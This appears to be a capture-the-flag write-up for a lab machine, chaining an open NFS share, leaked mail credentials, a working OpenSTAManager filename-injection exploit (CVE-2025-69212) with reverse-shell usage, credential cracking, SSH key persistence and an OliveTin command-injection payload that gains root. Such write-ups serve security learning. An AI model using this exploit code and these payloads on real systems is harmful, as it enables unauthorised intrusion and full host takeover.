Enigma
Summary
Enigma chains a handful of classic techniques together. A misconfigured NFS share leaks an internal PDF, which points to the mail server where credential reuse unlocks a hidden support panel running an authenticated RCE in OpenSTAManager. From the resulting www-data shell, database credentials found in config lead to a cracked hash and haris, whose port-forwarded service (OliveTin) has an unauthenticated action whose shell command is injectable - straight to root.
Skills Required
- Service identification and NFS enumeration
- Basic web exploitation and CVE research
Skills Learned
- Mounting and mining NFS shares for leaked credentials
- Reusing credentials across mail and web services
- OpenSTAManager authenticated RCE (CVE-2025-69212)
- Injecting into OliveTin's action shell commands
Enumeration
A full port scan shows the usual suspects plus a couple of unusual services: SSH, a redirecting nginx, mail (POP3/IMAP) and an NFS service.
Starting Nmap 7.98 ( https://nmap.org ) at 2026-06-29 05:40 -0400 Nmap scan report for 10.129.35.69 Host is up (0.048s latency). Not shown: 992 closed tcp ports (reset) PORT STATE SERVICE VERSION 22/tcp open ssh OpenSSH 9.6p1 Ubuntu 3ubuntu13.16 80/tcp open http nginx 1.24.0 (Ubuntu) |_http-title: Did not follow redirect to http://enigma.htb/ 110/tcp open pop3 Dovecot pop3d 111/tcp open rpcbind 2-4 (RPC #100000) 143/tcp open imap Dovecot imapd (Ubuntu) 993/tcp open ssl/imap Dovecot imapd (Ubuntu) 995/tcp open ssl/pop3 Dovecot pop3d 2049/tcp open nfs_acl 3 (RPC #100227)
NFS share
The presence of NFS is unusual - let's look at it. The /share export is mountable without auth.
mkdir /tmp/nfs mount -t nfs TARGET:/share /tmp/nfs -o nolock # mount share ls -la /tmp/nfs # list files umount /tmp/nfs
Inside is a PDF. It references the mail server and a user named Kevin, along with (implied) credentials.
Mail server
Connecting to the POP3 service over TLS and reading Kevin's only email yields another set of credentials - this time for a hidden support panel.
openssl s_client -connect 10.129.35.69:995 -crlf -quiet URL: http://support_001.enigma.htb Username: admin Password: Ne3s4rtars78s
Foothold
OpenSTAManager authenticated RCE
The support panel runs OpenSTAManager 2.9.8. Research points to CVE-2025-69212, an authenticated RCE in the invoice importer: an uploaded .p7m file is passed to exec('openssl smime -verify ... "'.$file.'"') where the attacker-controlled filename is evaluated by /bin/sh. Since filenames can't contain /, the payload is base32-encoded and decoded at runtime.
#!/usr/bin/env python3
# CVE-2025-69212 - OpenSTAManager <= 2.9.8 authenticated RCE
# Sink: src/Util/XML.php :: decodeP7M()
# exec('openssl smime -verify -noverify -in "'.$file.'" -inform DER -out "'.$output_file.'"')
# Command substitution $( ) is evaluated by /bin/sh even inside double quotes.
import argparse, base64, sys, time, requests
def b32(s):
return base64.b32encode(s.encode()).decode()
def fname(payload):
return "z$(echo${IFS}" + b32(payload) + "|base32${IFS}-d|bash).p7m"
def login(s, base, user, pw):
s.get(base + "/")
s.post(base + "/index.php?op=login", data={"username": user, "password": pw})
if "op=logout" not in s.get(base + "/").text:
sys.exit("[-] login failed")
def fire(s, base, payload, id_module, id_plugin):
fn = fname(payload)
try:
s.post(base + "/actions.php",
data={"op": "save", "id_module": id_module, "id_plugin": id_plugin},
files={"blob": (fn, b"<x/>", "application/octet-stream")},
timeout=8)
except requests.exceptions.RequestException:
pass # blocking exec (reverse shell) holds the connection
def run_blind(s, base, cmd, webroot, cwd=None):
marker = "RCEOUT"
out = f"{webroot}/o.txt"
prefix = f'cd {cwd} 2>/dev/null; ' if cwd else ''
payload = f"{{ {prefix}{cmd} ; echo {marker}; }} > {out} 2>&1"
fire(s, base, payload, "14", "19")
for _ in range(15):
r = s.get(base + "/o.txt")
if marker in r.text:
return r.text.split(marker)[0]
time.sleep(0.5)
return "[-] no output\n"
# ... interactive shell + main() omitted for brevity ...
# usage:
# ./CVE-2025-69212.py -u URL -l admin -p 'Ne3s4rtars78s' -s LHOST -P LPORT
Running the exploit delivers a shell as www-data.
Lateral Movement
Database credentials
LinPEAS finds the application database credentials in its config.
$db_host = 'localhost'; $db_username = 'brollin'; $db_password = 'Fri3nds@9099'; $db_name = 'openstamanager';
Dumping the users table reveals a password hash.
mysql -u brollin -p'Fri3nds@9099' -h localhost openstamanager # or mysql -u brollin -p'Fri3nds@9099' -e "use openstamanager; select * from zz_users;" 2>/dev/null
The hash cracks with hashcat -m 3200:
user: haris pass: bestfriends
SSH isn't reachable with it, so we su haris from the www-data shell.
SSH for stability
An SSH key makes the connection persistent and enables port forwarding.
mkdir -p ~/.ssh ssh-keygen -t rsa -f ~/.ssh/id_rsa -N "" cat ~/.ssh/id_rsa.pub >> ~/.ssh/authorized_keys chmod 700 ~/.ssh chmod 600 ~/.ssh/id_rsa # copy the private key, then on the attacker box: chmod 600 id_haris ssh -i id_haris haris@enigma.htb
Privilege Escalation
Port forwarding to OliveTin
A local service on port 1337 runs OliveTin (a web UI for running shell commands). Forward it and grab the user flag.
ssh -i id_haris -L 1337:127.0.0.1:1337 haris@enigma.htb
Unauthenticated command injection
OliveTin's config defines a backup_database action that shells out to mysqldump, and it is configured with authRequireGuestsToLogin: false plus exec: true for guests - so anyone can trigger actions with arbitrary arguments, no login needed.
# /etc/OliveTin/config.yaml
- title: Backup Database
id: backup_database
shell: "mysqldump -u {{ db_user }} -p'{{ db_pass }}' {{ db_name }} > /opt/backups/backup.sql"
Because the db_pass argument is dropped into single quotes inside a /bin/sh command line, a crafted value closes the quote and injects a command that is run as root.
curl -s -X POST \
-H "Content-Type: application/json" \
-d '{"actionId": "backup_database", "arguments": [
{"name": "db_user", "value": "backup_svc"},
{"name": "db_pass", "value": "x'\'' ; cat /root/root.txt ; #"},
{"name": "db_name", "value": "production"}]}' \
http://127.0.0.1:1337/api/olivetin.api.v1.OliveTinApiService/StartActionAndWait
The action executes mysqldump as the OliveTin service user (root), our injected cat /root/root.txt runs, and the box is owned.
Key Takeaways
- NFS exports with no auth are a free foothold - always mount and list them.
- Password reuse across mail, web panels and OS accounts makes one leak a whole path.
- Command substitution inside quoted
system()/shell templates is injectable - never build shell commands from untrusted arguments. - Look for the hidden vhosts -
support_001only showed up after the mail lead, not from directory brute force.